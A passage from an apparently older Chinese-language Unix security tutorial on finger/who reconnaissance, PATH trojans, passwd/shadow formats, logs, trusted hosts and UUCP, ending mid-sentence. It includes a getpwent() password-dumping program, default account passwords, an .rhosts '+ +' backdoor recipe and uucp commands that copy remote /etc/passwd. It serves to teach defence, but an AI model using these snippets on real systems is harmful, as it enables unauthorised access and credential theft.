的远程主机区域内的远程主机的Kerberos许可。
-x 为传送的所有数据打开DES加密。这会影响响应时间和CPU利用率,但是可以提高安全性。 如果在文
件名中指定的路径不是完整的路径名,那么这个路径被解释为相对远程机上同名用户的主目录。如果没
有给出远程用户名,就使用当前用户名。如果远程机上的路径包含特殊shell字符,需要用反斜线
(\\)、双引号(”)或单引号(’)括起来,使所有的shell元字符都能被远程地解释。需要说明的
是,rcp不提示输入口令,它通过rsh命令来执行拷贝。


W

这个是一个非常有用的命令,可以用来警告用户。他可以允许我们查看谁在系统中和他们在做什么(这
个命令无法显示后台进程)。它会读取/var/adm/utmp文件然后发布这些信息:


% w

8:47pm up 4:16, 1 user, load average: 0.44, 0.28, 0.21

User tty login@ idle JCPU PCPU what

mike pts/1 4:50pm 1:25 1:24 ./tf batdral

Jane pts/2 7:15pm 1:17 5 3 write mb

andy pts/7 8:37pm 2 7 w

mike pts/4 6:49pm 20 15 11 iostat 2

Jane pts/5 5:56pm 2:51 /bin/koh /local/etc/welcome

Jane pts/6 5:57pm 56 55 telnet 127.0.0.1


WHO

这个命令将列出所有登陆在系统上的用户。它将读取/var/adm/utmp文件中的信息并将他们格式化列
出:

% who

mike pts/1 Jul 26 16:50 ( )

Jane pts/2 Jul 26 19:15 ( )

andy pts/7 Jul 26 20:37 (foobar.com)

mike pts/4 Jul 26 18:49 ( )

Jane pts/5 Jul 26 17:56 ( )

Jane pts/6 Jul 26 17:57

这些字符意思如下(从左到右):

用户名,用户终端,日期和他们从哪里登陆的。

经常运行这个命令,你便可以了解到一些哪些时间不同的用户登陆到系统上,这对安全的管理UNIX有很
大的帮助。在缺省的状态下whois客户机在Internet的网络信息中心rs.internic.net查询主机,其中
包括Internet领域和管理员信息。有些站点用whois协议来写服务器程序,以便发布用户信息,只是根
据主机的自身情况而减少了发出更多的信息,但是往往这一点对黑客而言都是很重要的。



FINGER

Finger服务的原理和who很相似,但它会对单个的用户进行查询并取得更详细的信息。当你finger一个
单独的用户时,你将得到一些详细的信息例如:全名,主目录,最后一次登陆时间和显示用户的
~/.plan和-~/.project文件(如果正确的限权位是设置在文件和主目录上)。当服务器提供远程调用
本地系统用户名时,这将成为黑客的一大利器。Finger同样可以告诉你谁在系统上和他空闲了多长时间
(一个入侵者将会使用空闲时间进行取工具等行动,他们不希望有人注意到这段时间)。


% finger unusefulguy@somexxx.com

[somexxx.com

kevin something(comps)

Home: /usr/unusefulguy

Shell: /bin/csh

No unread mail.

kevin something (comps) is not presently logged in.

Last seen at asitel4 on Fri Aug 26 00:52:47 1996.

Project:

En.. do you yahoo?

Plan:

What are you look at?

你可以列出所有的用户,这需要fingering "0",例如:finger 0@somexxx.com。 plan和project
只不过是你主目录中~/.project和 ~/.plan文件的内容.一些站点选择去完全的关闭finger端口,但这
并不必要。许多时候网管自己也需要从远程了解自己主机上的情况,这时候finger的存在则是很有必要
的。而finger本身则对入侵没有太大的帮助,一般的黑客喜欢从finger中得到主机的用户名列表然后
进行穷举登陆。但如果一个黑客能用finger的信息去黑一个网站的话,那么他可能有很多牌可以出,而
不需要用finger的信息。

特殊字符

除了一些普通的字符,UNIX也有些用于其它用途的特殊字符。

这里是些例子:


输出管道. 用于给予从一个命令输出,然后出入进另外一个。

>>
附加输出到一个目标。

<< text
读取text并输入进指定文件中。

>
从原文件重定向输出到目标文件。

2>
重定向标准错误。

< file
将一个文件的内容以管道方式输入成一个命令行的参数。

comdl 'comd2'
取comd2的输出值并以参数模式给于comdl。

*
用于彻底搜索。(特别是在文件里)

CTRL-D
结束文件字节,用于结束一个事件shell。

&
后台处理,将可执行文件放入后台处理,给你的屏幕腾出点空间。







PATH变量

PATH是一种包含了使用冒号分割的目录名列表的环境变量。当你在没有给明路径时输入一个命令名(例
如你输入Is,相当于输入完整的/bin/Is),你当前使用的shell在PATH变量的顺序下搜索每个目录,查
找一个和和你输入的命令同名的可执行文件。 这个变量是在登陆时制定的,并且设置在login 文件
中。其它目录中的拥有相同名字的程序将被忽略。


这样的设置PATH变量将会使文件的访问变的简单一些,尽管它可能会暴露用户设置好的木马J。为了解
释这个,假设这个木马文件与Is相似,包含了一个有访问特权的指示。如果用户有在当前的目录中有一
个PATH变量,并且在/tmp中输入了Is命令,这时在/tmp目录中的假Is便会执行,但是在/bin目录中真
正的Is却不会。


例子:

% ls ~la

total 58

drwxrwxr-x 4 im sysadm 512 Aug 26 16:29 .

drwxrwsr-x 360 root sysadm 10752 Aug 22 11:36 ..

-rwx ------ 1 im other 0 Jul 18 15:39 Xauthority

-rwx ------ 1 im Sys 122 Feb 24 1994 cshrc

-rwx ------ 1 im Sys 757 Aug 4 17:03 history

-rwx ------ 1 im Sys 179 Mar 25 15:03 login

-rwx ------ 1 im other 37 Aug 2 17:23 logout

-rwx ------ 1 im Sys 0 Jul 27 16:39 news-time

-rwx ------ 1 im Sys 95 Feb 25 1994 plan

-rwx ------ 1 im Sys 237 Feb 24 1994 profile

-rwx ------ 1 im Sys 111 Feb 25 1994 project

-rwx ------ 1 im other 13 Aug 2 16:49 rhosts

-rwx ------ 1 root Sys 232 Feb 24 1994 sh_history

-rwx ------ 1 im other 37 Aug 2 15:53 sig

-rwx ------ 1 im other 542 Jul 18 15:39 xsess-errors

drwx ------ 2 im other 512 Aug 2 17:02 bin

drwx ------ 2 im Sys 512 Jul 25 16:19 mail

-rwx ------ 1 im other 2236 Aug 2 16:51 shadpass.c

-rwx ------ 1 im Sys 580 Feb 24 1994 xsession.old


从上面的表看来,所有的文件似乎都受到了充分的保护,只有拥有者才有读、写、执行的限权。


然后木马将破坏这些文件的保护,你的文件其实真正是这样子的:

% ls ~la

total 58

drwxrwxr-x 4 im sysadm 512 Aug 26 16:29 .

drwxrwsr-x 360 root sysadm 10752 Aug 22 11:36 ..

-rwxrwxrwx 1 im other 0 Jul 18 15:39 Xauthority

-rwxrwxrwx 1 im Sys 122 Feb 24 1994 cshrc

-rwxrwxrwx 1 im Sys 757 Aug 4 17:03 history

-rwxrwxrwx 1 im Sys 179 Mar 25 15:03 login

-rwxrwxrwx 1 im other 37 Aug 2 17:23 logout

-rwxrwxrwx 1 im Sys 0 Jul 27 16:39 news-time

-rwxrwxrwx 1 im Sys 95 Feb 25 1994 plan

-rwxrwxrwx 1 im Sys 237 Feb 24 1994 profile

-rwxrwxrwx 1 im Sys 111 Feb 25 1994 project

-rwxrwxrwx 1 im other 13 Aug 2 16:49 rhosts

-rwxrwxrwx 1 root Sys 232 Feb 24 1994 sh_history

-rwxrwxrwx 1 im other 37 Aug 2 15:53 sig

-rwxrwxrwx 1 im other 542 Jul 18 15:39 xsess-errors

drwxrwxrwx 2 im other 512 Aug 2 17:02 bin

drwxrwxrwx 2 im Sys 512 Jul 25 16:19 mail

-rwxrwxrwx 1 im other 2236 Aug 2 16:51 shadpass.c

-rwxrwxrwx 1 im Sys 580 Feb 24 1994 xsession.old


它完全的破坏了文件保护,你、你的组和其它人都拥有可读、可写和可执行限权。并不是每个黑客都
可以理想的使用它,但他们会安装一些其它的后门。为了保护这类的攻击,必须正确的设置PATH变量。
你需要禁止当前目录为PATH变量的第一入口,并且在调用UNIX系统命令时输入完整的路径名或者在
PATH变量的结尾加一个"."。这样的话在执行类似vi, cat, su和Is命令时,系统会从/bin和/usr/bin
这样的系统目录中查找,然后才会搜索用户工作目录。







UNIX密码档

UNIX中以私人密码进行的用户鉴定的体制是比较成熟的(象大多数系统一样)。验证和核准是访问必须
的手段,UNIX系统也不例外。密码信息在很多其它的系统里是用户不可读的。UNIX系统则不同,它允所
有有用户/etc/passwd对拥有访问限权,而这个文件则保存了加密过的密码和一些其它的用户信息。尽
管UNIX的密码都经过了加密,但密码档仍然对黑客有很大的用处。例如/etc/passwd文件里储存了一些
有用的用户信息,特别是用户名,许多黑客都是通过取得passwd文件而取得用户名并利用它来对用户进
行穷举。

标准的Unix的系统下,密码档是存放在/etc/passwd下, 但NIS/yp或shadow过的密码有可能放在别的地
方. 一个标准的密码档由7组数据组成:


name:password:uid:gid:comment:Home directory:shell


它们的含义如下:

name: 用户登录名

password: 用户口令。此域中的口令是加密的。当用户登录系统时,系统对输入的口令采取相同的算
法,与此域中的内容进行比较。如果此域为空,表明该用户登录时不需要口令。

uid: 指用户号码。用户登录进系统后,系统通过该值,而不是用户名来识别用户。

gid: 指用户组号码.如果系统要对相同的一群人赋予相同的权利,则使用该值。

comment: 用来保存用户的真实姓名和个人细节。

Home directory: 指定用户的主目录的绝对路径。

shell: 如果用户登录成功,则要执行的命令的绝对路径放在这一区域中。它可以是任何命令。



下面是一个例子:

root:5fg63fhD3d5gh:0:0:kevin zhu:/root:/bin/bash

我们可以这样理解它:

name:root

password:5fg63fhD3d5gh

uid:0

gid:0

comment:kevin zhu

Home directory:/root

Shell:/bin/bash


DES

为了建立适用于计算机系统的民用密码,美国商业部的国家标准局ANBS于1973年5月和1974年8月两次
发布通告,向社会征求密码算法。在征得的算法中,由IBM公司提出的算法lucifer中选。1975年3月,
ANBS公布了此算法,以求得公众的评论。1977年1月以数据加密标准DES(Data Encryption
Standard)的名称正式向社会公布。随后DES的应用范围迅速扩大到涉及美国以外的公司、甚至某些美
国军事部门也使用了DES。因此,里根总统曾下令责成美国防部的国家安全局研制一种新的数据加密标
准CCSE(Commercial Communication Security Endorsement)商用通信安全保证程序来取代DES。
后来由于遭到最大的金融界用户以其不符合他们的要求为由的强烈反对,在国会的压力下才撤销了里根
这个命令。


DES使用56位密钥对64位的数据块进行加密,并对64位的数据块进行16轮编码。与每轮编码时,一个48
位的“每轮”密钥值由56位的完整密钥得出来。DES用软件进行解码需要用很长时间,而用硬件解码速
度非常快,但幸运的是当时大多数黑客并没有足够的设备制造出这种硬件设备。在1977年,人们估计要
耗资两千万美元才能建成一个专门计算机用于DES的解密,而且需要12个小时的破解才能得到结果。所
以,当时DES被认为是一种十分强壮的加密方法。


既然Unix下的密码不能反算,那么类似CrackerJack这类的Unix密码档又是怎么工作的呢?现在破解Unix
密码的工具都是使用字典档,破解工具从字典档里提出一个单词进行加密,然后与需要破解的密码进行对
照,如果不符合便提取下一个单词,如此运行,直到找出象匹配的字符为止.


密码Shadowing

从上面我们所了解到的看来,UNIX的密码虽然不可反译,但仍然是可以破解的。因此电脑安全专家们又
使用了一个新的技术使密码档更加安全----密码Shadow.密码shadowing是一种隐藏/etc/passwd中加
密过的密码并以一些标记取代的安全手段。 它通常是与加密过的密码分开的,正常的情况
下,/etc/shadow将保存这些密码及其它一些系统信息。并且/etc/shadow只允许root和shadow组的用
户才能读取,因此增强了系统的安全性.


有些经过shadow的密码是象这个样子的:


% cat /etc/passwd

root:x:0:3:system-admin-priv(0000):/:/bin/ksh

smtp:x:O:O:mail daemon user:/:

daemon:x:l:l:daemon-admin(0000):/:

bin:x:2:2:0000-binaries(0000):/usr/bin:

sys:x:3:3:0000-SYS(0000):/var/adm/sa:/bin/ksh

adm:x:4:4:0000-adm(0000):/var/adm:

uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:

nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico

sysadm:x:14:14:sysadm:/var/users:/bin/ksh

lp:x:17:8:system-lp(0000):/var/spool/lp:

listen:x:37:4:network admin:/usr/net/nis:

noaccess:x:60002:60002:uid no access:/:

nobody:x:60001:60001:uid no body:/:


你可以看出,这些经过shadow的密码档已经过滤掉了密码信息,而加密过的密码被"x"取代(不同的系
统将有不同的代替符号),从而密码破解器就拿这些密码档没办法了。在Solaris系统中,shadow文件
每个栏的形式一般是如下


username:password:lastchg:min:max:warn:inactive:expire:flag

这些东西可以这样理解:


username(用户名)

用于用户登陆的用户ID。

Password(密码)

这个可能是一个长为13个字节的经过加密的用户密码,它也可能包含加锁信息串。

lastchg(最后一次更改)

这个显示了从1970年1月1日到最后一次修改密码的日期。

Min(最小数)

这个值显示了在密码修改之前密码可用的最小次数。

max (最大数)

在不改变的情况下密码可用的最大次数。

warn (警告)

这个数字显示了多长时间后用户便会接到必须修改密码的警告。

Inactive(无活动)

显示一个用户可以在系统里空闲几天的数字。

Expire(到期)

这栏是一个指定多长时间以后一个帐号便不可再使用的绝对日期。

Flag(标记)

这个是显示多长时间内没用便保留起来以便以后使用的数值。


密码shadowing并不是完全可靠的(尽管大多数系统上它是很安全的)。一些系统上使用系统调用或其
它的欺骗方法便可以使其输出密码文件(de-shadowing)。下面就是一个通过不停的调用getpwent() 函
数而实现de-shadowing的小程序:


#include

main()

{

struct passwd *p;

while(p=getpwent())

printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,

p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);

}


但 Shadow过的密码档放在哪里呢?请看下面的表格:


操作系统 路径 代替符号

-----------------------------------------------------------------

AIX 3 /etc/security/passwd !

or /tcb/auth/files/
of username>/

A/UX 3.0s /tcb/files/auth/?/*

BSD4.3-Reno /etc/master.passwd *

ConvexOS 10 /etc/shadpw *

ConvexOS 11 /etc/shadow *

DG/UX /etc/tcb/aa/user/ *

EP/IX /etc/shadow x

HP-UX /.secure/etc/passwd *

IRIX 5 /etc/shadow x

Linux 1.1 /etc/shadow *

OSF/1 /etc/passwd[.dir│.pag] *

SCO Unix #.2.x /tcb/auth/files/
of username>/

SunOS4.1+c2 /etc/security/passwd.adjunct ##username

SunOS 5.0 /etc/shadow



System V Release 4.0 /etc/shadow x

System V Release 4.2 /etc/security/* database

Ultrix 4 /etc/auth[.dir│.pag] *

UNICOS /etc/udb *



下面是一些常用的默认系统密码:


用户名     密码

----------- ----------------

root        root

sys         sys/system/bin

bin         sys/bin

mountfsys   mountfsys

adm         adm

uucp        uucp

nuucp       anon

anon        anon

user        user

games       games

install     install

reboot      给 "command login" 用的

demo        demo

umountfsys  umountfsys

sync        sync

admin       admin

guest       guest

daemon      daemon


密码过期(Password Ageing)

也许在看上面一部分时你有些困惑,因为有些提到了密码过期的技术。密码过期(Password ageing)
在它被传入V系统后便成为了其系统的一个重要的组成部分。它是一种周期性的强制用户修改密码的手
段。这个机制是以在密码(这里是指加密过的密码文件。UNIX系统不会以明文的方式把你的密码存放在
任何地方)每个域(以标点分开)后加入一些记号的形式工作的。系统将计算任何期满的密码(从
1970)。如果任何用户的密码到期了,他们就要更改他们的密码(这个期限是由系统管理员设置的)。
你也许会奇怪为什么它会让你更改密码?现在你来设想一下,一个黑客获得了你系统中的密码档,几周
后他通过穷举密码档获得了你系统中的一些用户的密码。之后他当然会试着使用这些密码登陆到那些用
户的帐号上去,而发现密码已经经过修改了:给于黑客一个移动的目标将使他们的工作变的困难一些。


例子:root:cN5zO6ITeZLWM,A.B8:0:1:(Grpl),0181-555-1235:/:/bin


标点符号后第一个字节是一周内在不改变的情况下密码可用的最大次数,下一个字节则是一周内在密码
修改之前密码可用的最小次数,第三和第四的字节则是自1970以来密码最后一次修改的时间。当然,这
些字符也是经过加译的,以下是他们的对照表:

Character:
.
/
0
1
2
3
4
5
6
7
8
9
A
B
C
D
E

Value in weeks:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

Character:
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V

Value in weeks:
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
33

Character:
W
X
Y
Z
a
b
c
d
e
f
g
h
i
j
k
l
m

Value in weeks:
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

Character:
n
o
p
q
r
s
t
u
v
w
x
y
z





Value in weeks:
51
52
53
54
55
56
57
58
59
60
61
62
63







需要注意的还有三个例外的情况:


如果第一和第二个字节被设置为"..",那么这个用户就必须在下一次登陆的时候修改他的密码,之后
Passwd程序将自动修改这两个字节。


如果第三和第四个字节也被设置为"..",那么此用户同样需要在下一次登陆的时候修改他的密码。


如果第一个字节小于第二个字节,那么用户便不准修改他们自己的密码,除象root这样有特权的用户才
可以修改。







系统日志

系统的日志在安全方面是举足轻重的。一般情况下,日志记录记录了用户登录时间、从什么地方登陆、
进行什么操作等。如果一个系统管理员知道了如何使用日志,那么将能通过它查出入侵者的行踪并有效
的阻止他们。

UNIX系统提供了详细的各种日志记录,以及有关日志的大量工具和实用程序。这些审计记录通常由程序
自动产生,是缺 省设置的一部分,能够帮助Unix管理员来寻找系统中存在的问题,对系统维护十分有
用。还有另一些日志记录,需要管理员进行设置才能生效。大部分日志记录文件被保存在/var/log目录
中,在这个目录中除了保存系统生成日志之外,还 包括一些应用软件的日志文件。当然/var目录下的
其他子目录中也会记录下一些其他种类的日志记录文件,这依赖于具体的应用程序的设置。


系统登录日志

$ ls
boot.log dmesg messages netconf.log.1 secure uucp wtmp.1
cron maillog netconf.log netconf.log.2 spooler wtmp lastlog
lpd-errs
这里便是/var/log中的内容,有几个是我们需要注意的:

/var/log/wtmp:保存了所有的登录、退出信息,以及系统的启动、停机记录,因此随着系统正常运行
时间的增加,它的大小也会越来越大,增加的速度依赖于系统用户登录次数。因此可以利用这个日志用
来查看用户的登录记录 ,last命令就通过访问这个文件来获得这些信息,并以反序从后向前显示用户
的登录记录,last也能根据用户、终端 tty或时间显示相应的记录。ac命令同样也使用wtmp中的数据
产生报告,但它的显示方式不同。它可以根据用户(ac -p) ,或按日期(ap -d)显示信息,这样管
理员就能获得一些非常有用的反常信息,如一个平时不太活跃的用户突然登录并连接很长时间,就有理
由怀疑这个帐户被窃取了。

/var/log/lastlog:保存了每个用户的最后一次登录信息,包括登录时间和地点,这个文件一般只有
login程序使用,通过用户的UID,来在lastlog文件中查找相应记录,然后报告其最后一次登录时间和
终端tty。然后, login程序就使用新的记录更新这个文件。

/var/log/messages:这个文件在缺省状态下将接受/etc/syslog.conf中比较重要的信息。

var/log/maillog:同/var/log/messages一样,这个文件也是从/etc/syslog.conf中接受信息的,
不过它接受的是邮件信息。

/var/log/lpd-errs:这个和上面两个的形式一样,是接收打印信息的。

现在再让我们来看看/var/run里的东西:

$ ls
badhost.logfile httpd.lock.107 httpd.pid robocop.pid
d httpd.lock.114 named.pid sshd.pid
diskhogs httpd.lock.1345 nu_addition_data waitlist
httpd.lock.104 httpd.lock.16994 ptytrylock utmp
httpd.lock.106 httpd.lock.18535 pwauth.lock

这里面也有一个挺重要的东西:

/var/run/utmp:保存的是当前系统用户的登录记录,因此这个文件会随着用户进入和离开系统而不断
变化,而它也不会为用户保留很长的记录,只保留当时联机的用户记录。系统中需要查询当前用户状态
的程序,如 who、w等就需要访问这个文件。utmp可能不包括所有精确的信息,某些突发错误会终止用
户登录会话,当没有及时更新 utmp记录,因此utmp的记录不是百分之百的可以信赖的。

除了这些,不要忘了我们上面讲过的一些记录一些命令的日志,例如/var/adm/sulog等。

这些文件是以二进制格式保存的,需要使用相应命令,也可以通过相关程序来阅读这些文件。

Syslog日志记录

最初,syslog只是为了sendmail而设计的消息日志工具,由于它提供了一个中心控制点,使得sys log
非常好用和易配置,因此当今很多程序都使用syslog来发送它们的记录信息。syslog是一种强大的日
志记录方式,不但可以将日志保存在本地文件中,还可以根据设置将syslog记录发送到网络上的另一台
主机中。

支持syslog方式的系统启动了syslogd守护进程,这个程序从本地的Unix套接字和监听在514端 口
(UDP)上的Internet套接字,来获得syslog的记录。本机中进程使用syslog系统调用发送来sy slog
记录,然后由syslogd将他们保存到正确的文件或发送到网络上另一台运行syslogd主机中去。

syslogd的设置文件为/etc/syslog.conf,定义消息对应的相应目标,一条消息可以达到多 个目标,
也可能被忽略。

# $Id: syslog.conf,v 1.9 1998/10/14 21:59:55 nate Exp $

#

# Spaces are NOT valid field separators in this file.

# Consult the syslog.conf(5) manpage.

*.err;kern.debug;auth.notice;mail.crit /dev/console

*.notice;kern.debug;lpr.info;mail.crit;news.err /var/log/messages

mail.info /var/log/maillog

lpr.info /var/log/lpd-errs

cron.* /var/cron/log

*.err root

*.notice;news.err root

*.alert root

*.emerg *

!ppp

*.* /var/log/ppp.log
syslog.conf的配置可以分为两个部分,第一部分用于区分消息的类型,另一个用于设置消息发送的目
的 地。通常,消息的类型包括消息的产生者,例如kern表示内核产生的消息,auth表示认证系统产生
的消息,等等,还包括消息的级别,例如emerg表示非常重要的紧急信息,alert表示系统告警状态,
crit表示关键状态,err 表示一般的错误信息,warning表示警告信息,notice表示提示信息,但还不
是错误,info表示一般信息, debug表示调试信息等,因此一个消息的类型可能为:kern.debug、
mail.info等,但页可以使用通 配符*进行匹配。

从上面的syslog.conf的设置可以看出,系统正常运行中的很多重要的信息,如错误信息*.err、内 核
调试信息kern.debuf、认证报告auth.notice等被直接输出的console中,另外还有一些比较重要的信
息被输出到/var/log/messages文件中,发送邮件的记录将被保存在/var/log/mail log文件中,打印
记录为/var/log/lpd-errs等,使得管理员可以根据这些文件来查询相关记录,进行统计或寻找系统问
题。其中使用syslog记录的messages文件中包括root登录的信息、用户多次登录失败的尝 试等对系统
安全相当重要的信息,因此也是系统遭受攻击之后,攻击者会根据syslog.conf中设置试图清除相关文
件中自己的登录记录。因此对于安全性要求更高的系统,可以尝试将syslog发送到另一台计算机上,或
者输出到一些设 备文件中,如在打印机上立即打印输出。

系统会使用newsyslog定期检查syslog输出的messages文件和maillog文件,将旧数 据压缩保存为备
份文件,如messages.1.gz等。

其他日志

除了系统登录记录和syslog记录之外,其他还有一些应用程序使用自己的记录方式。


系统每天都会自动检查系统的安全设置,包括对SetUID、SetGID的执行文件的检查,其结果将输出
到/ var/log/security.today文件中,管理员可以与/var/log/security.yeste rday文件对比,寻
找系统安全设置的变化。


如果系统使用sendmail,那么sendmail.st文件中以二进制形式保存了sendmail的统计 信息。

在系统启动的时候,就将内核的检测信息输出到屏幕上,这些信息可以帮助用户分析系统中的硬件状
态。一般使用d mesg命令来查看最后一次启动时输出的这个检测信息。这个信息也被系统保存
在/var/log/dmesg.tod ay文件中,系统中同时也存在另一个文件dmesg.yesterday,是上次的启动检
测信息,对比这两个文件,就 可以了解到系统硬件和内核配置的变化。


lpd-errs记录了系统中lpd产生的错误信息。

此外,各种shell还会记录用户使用的命令历史,它使用用户主目录下的文件来记录这些命令历史,通
常这个文 件的名字为.history(csh),或.bash-history等。





信任主机

UNIX系统中有很多非常方便的网络系统机制,信任主机就是其中之一。这个系统允许其它主机的用户在
不需要密码的情况下远程登陆或者执行命令。这个系统显然为那些需要在两台主机中频繁切换操作的用
户提供了很大的便利,但是不幸的是,这个系统不利于UNIX系统安全。

hosts.equiv

/etc/hosts.equiv这个文件可以用于指定可信任主机。每一行列出一个主机,列出所有的信任主机。
如果用户尝试从这个文件中所列出的一个地址上登陆或执行命令,那么这个系统将允许它在需要任何密
码的情况下访问。

有一点管理员需要非常注意,在一些Sun的主机上,这个默认文件只有一行:

+

这个指示任何主机都被信任,此字节的功能很象MS-DOS下的"*"。尽量不要将非本地主机或公共主机设
置为信任主机,而且在设置信任主机时要小心,有些时候一些设置失误都可以招来大患:

CERT公告"CA91:12.Trusted.Hosts.Configuration.vulnerability".这个公告就是描述了一个不正
确的信任主机配置可以引起安全问题。


.rhosts

rhosts非常类似于/etc/hosts.equiv,不过它是允许一个指定的用户访问的。任何用户都可以在自己
的主目录下创建.rhosts,指定允许某些用户不输入口令就可以访问。很多用户利用这种机制,允许帐
号之间的信任访问。也有很多黑客通过这个方法留下后门,以便以后可以登陆。

以下是一种rhosts后门:

% mv login loginold

% echo 'echo "+ +" rhosts, login

% echo "/bin/sh loginold" > .login


远程用户启动rlogin访问你的本地主机,此时做如下安全性检查:

1. 本地rlogind在本地/etc/passwd文件中寻找远程用户名,没有则拒绝访问

2. /etc/passwd中存在远程用户名,rlogind在/etc/hosts.equiv寻找远程主机名,找到则允许访
问。

3. /etc/hosts.equiv无远程主机名,rlogind在$HOME/.rhosts寻找远程主机名,找到且该项后无用
户名则允许访问,找到且该项后有用户名,若远程用户名位于其中,则允许访问。注意这里的$HOME是
与远程用户同名的本机用户的主目录。

4. 若通过了/etc/passwd的检查,但没有通过/etc/hosts.equiv或者$HOME/.rhosts的检查,远程用
户给出口令可以登录本机,但无法使用rcp、rsh等。反之则可以使用rcp或者rsh。

5. /etc/hosts.equiv中的+意味着任意主机,此时与/etc/hosts无关。netterm下rlogin除root外的
所有用户可以成功,solaris下简单的rlogin hostname同netterm,但是rlogin -l username
hostname不成功。这个事实说明netterm下rlogin的时候,指定的参数实际上是远程主机的当前用户
名。还说明hosts.equiv文件不支持rlogin -l username hostname,不支持root的rlogin。

唯一防范这些文件的方法就是搜索他们并且完全拒绝用户把他们放在系统上,或者使rlogind丧失能
力,不过这个只能在非常需要的情况下使用,因为这个做法是非常极端的。


例子:

% find / -name rhosts -print

这个命令会从根目录里搜索所有rhosts文件,并且-name选项表示精确的寻找向匹配的rhosts。




网络服务安全

UUCP

UUCP(Unix到Unix的拷贝)系统是最UNIX上普通的一种网络工作系统,这个系统是一组程序,他们负
责在两个系统之间执行文件传输、命令执行和新闻及邮件的发送工作。UUCP系统的问题就是,在网络中
的用户可以在不需要访问限权的情况下访问其它用户的文件。就象Nowitz说的那样,


UUCP系统,留下了自由的体系,将让任何外界的用户执行命令并且拷贝进或拷贝出任何可读或可写的文
件。对于这点,用户了解并对其进行适当的保护是非常重要的。


这里强调了系统管理员适当的配置的重要性。当你在UNIX里检查网络安全时,有四个命令可以被考虑。
第一个是uucp,一个用于在两个UNIX系统之间进行拷贝的命令。如果系统管理员没有适当的执行uucp
命令,任何外界用户都有可能远程执行任何命令并且从另一个登陆用户上拷贝文件。如果以知另一个系
统上的文件名,那么有人便可以用uucp命令从该系统上拷贝文件到他们自己的主机上。例如:


%uucp system2!etc/passwd passwd1


这个将从etc目录中拷贝passwd文件并改名为passwd1到自己当前的目录中。如果这两台主机中任意一
台上有文件传输限制,passwd文件将无法发送。如果没有限制的话,任何文件都可以被拷贝。系统管理
员可以在/user/spool/uucppublic中限制UUCP的传输地址,如果有人尝试从其它地方传输文件,系统
将会显示一个信息"remote access to path/file denied",而且将不会传输任何文件。


第二个应该被考虑的UUCP系统命令是uux。这个程式是去在远程UNIX系统上执行执行命令的。这个叫做
远程命令执行(remote command execution),而且经常用于在两个系统之间传送邮件。

在远程系统上执行命令这个功能导致了一些严重的安全问题。一个例子,一个系统不应该允许用户从其
它系统上执行以下的命令:


%uux "system1!cat/usr/spool/uucppublic"


这个将让system1发送它的/etc/passwd文件到system2的uucp公共目录中。system2现在便有访问密码
档的限权了。因此,应该只允许远程用户执行很少一部分的命令。很多系统中只有一个叫rmail的uux命
令允许执行,这是一个限制邮件的程序。


第三个系统程式是uucico(拷贝进/拷贝出)程序。他负责真正的传达工作。Uucp或uux实际上并不呼叫
其它系统,他们只是把它保存在本地机器上的一个假脱机文件中。;替换他们的是queued和uucico程
序,他们两个启动远程进程。Uucico程序使用/usr/uucp/USERFILE来断定什么样的文件可以在远程系
统上发送或接收。确定文件是否合法是USERFILE的基础安全手段。另外,USERFILE能通过允许设置一
个回应标记来控制两台UNIX系统的安全。因此,你可以通过回应标记来确定远程主机是合法的而不是一
个伪装主机。


最后一个 UUCP程式是uuxqt。它控制远程命令的执行。Uuxqt程序调用了/usr/lib/uucp/L.cmd文件,
它会用这个文件来确认哪个命令会在响应报文中运行来远程执行请求。例如,如果一个用户想用e-
mail,那么L.cmd文件将包含一个rmail行。从此可见,uuxqt可以判断什么命令将允许在远程执行,所
以L.cmd还是比较安全的。


NIS / YP

网络信息服务NIS(Network Information System)是以前被称为黄页系统YP(Yellow Pages)的另外一
个名称。制作NIS的目的是为了提供了一个扩展的数据库,以存储系统信息。它由Sun公司开发的,通常
用于小型网络的网络命名及管理。通过他,用户都可以使用单一的帐号几密码从网络中任何一台主机访
问其网络中任意一台电脑的文件。它的功能NIS类似于Internet的域名系统(DNS),但比较简单,适
于一些象局部网一样的小型网络。它的工作原理是两台主机通过远程调用(RPC)接口进行连接。但这
个服务被证明是不安全而且许多黑客可以通过伪造“C调用”来进行NIS服务器欺骗。


HTTP / WWW服务

超文本传输协议HTTP(Hypertext Transfer Protocol)是建立在TCP上的一种应用协议,它允许用户
万维网WWW(World Wide Web)以超文本形式接受和请求包括文本、图形、声音、动画等形式的文件。他
通过一种被成为WEB服务器的程序绑定服务器的80号端口,储存信息及提供信息访问服务。当一个用户
通过阅览器程序向一个web服务器建立一个tcp连接并发送一个资源请求时,服务器程序会检查请求并根
据服务器配置发送会一个响应。


这个当初为物理学家们交换报道他们的物理研究成果报告而设计的系统,现在已经成为了全世界最大的
信息交换场所。而如今HTTP又产生了在WEB页面后放置程序的功能,这无疑提供很大的方便,当然同时
也造成了一些安全问题。


通常的网络安全总是设置各种各样的限制,使得不明身份的人无法获得非授权的服务。但是Web服务器
恰恰相反,它希望接受尽可能多的客户,对客户几乎没有任何限制和要求,因此,相对于其他网络服
务,Web服务是最容易受到攻击的。


最常见的威胁是HTTP服务器软件中的漏洞、管理员的错误配置、不安全的网络程序等等。我们最常见的
WEB服务器是Apache。Apache WWW Server 最初的源码和思想基于最流行的HTTP服务器 --NCSA
httpd 1.3,经过较为完整的代码重写,它如今已在功能、效率及速度方面居于领先的地位,Apache项
目成立的最初目的是为了解答公用HTTP Server发展中人们所关心的一些问题 ,例如如何在现有的
HTTP标准下提供更为安全、高效、易于扩展的服务器。正是由于它的原代码开放,全世界的程序员都在
给他找毛病,所以大大的增加了他的安全性。因此现在的Apache的漏洞并不是很多。


网络脚本程序现在已经发展出了很多种,比较流行的有CGI、PHP、JSP等(微软的asp不能在Unix服务
器下运行,所以我们不在此讨论)。造成这些程序不安全的原因很多,往往程序员的疏忽引起的。例如
比较古老的phf漏洞,它就是因为程序员没有考虑到用户可以提交一些特殊的请求,因此造成了任何人
都可以随意阅览服务器中的文件的漏洞,比如攻击者可以提交这样的请求:

